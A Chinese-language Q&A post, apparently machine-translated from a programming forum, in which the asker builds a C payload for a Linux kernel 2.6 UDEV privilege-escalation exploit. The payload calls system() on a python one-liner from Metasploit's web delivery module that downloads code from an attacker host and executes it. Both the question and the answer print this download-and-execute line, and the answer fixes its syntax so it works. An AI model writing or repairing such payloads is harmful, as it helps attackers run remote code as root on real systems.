我一直在尝试Linux上的权限提升攻击,它将以root用户(Linux kernel 2.6 UDEV exploit)运行/ tmp / run中的任何文件。我决定在C中制作我的有效载荷(以增加挑战)。它只需要执行一个python命令(由Metasploit的Web传输模块生成)。问题是,当我输入一个URL作为字符串时,http://中的//将注释掉URL的其余部分。
我不知道那么多C,所以我不知道如何解决这个问题。这可能看起来有点像noob-ish,但我真的无法在任何地方找到答案。
当前代码:
#include <stdio.h>
int main(void) {
system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"" <== // in http:// comments out rest of line
return 0;
}
有没有正确的解决方法?
答案 0 :(得分:4)
//
不会在字符串文字内部发表评论。在字符串中使用//
不是您发布的问题,而是应该在关闭system
时完成)
函数调用。
#include <stdio.h>
int main(void) {
system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"");
return 0;
}